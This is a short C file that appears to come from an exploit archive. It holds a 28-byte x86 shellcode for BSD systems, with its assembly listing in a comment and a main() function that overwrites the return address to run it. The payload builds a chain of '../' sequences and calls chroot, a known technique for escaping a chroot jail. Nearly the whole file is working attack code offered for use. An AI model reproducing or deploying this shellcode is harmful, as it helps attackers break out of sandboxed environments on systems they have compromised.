/* One of the smallest chroot shellcodes in the !!world!! it will put '../' 10 times Size 28 bytes OS *BSD /rootteam/dev0id (rootteam.void.ru) dev0id@uncompiled.com BITS 32 xor ecx,ecx xor eax,eax push ecx mov cl,0x1e main_push: push byte 0x2e loop main_push mov cl,0x1e main_loop: dec cl inc byte [esp+ecx] dec cl loop main_loop push esp mov al,0x3d push eax int 0x80 */ char shellcode[] = "\x31\xc9\x31\xc0\x51\xb1\x1e\x6a\x2e\xe2\xfc\xb1\x1e\xfe\xc9" "\xfe\x04\x0c\xfe\xc9\xe2\xf7\x54\xb0\x3d\x50\xcd\x80"; int main(void) { int *ret; ret = (int*)&ret + 2; (*ret) = shellcode; }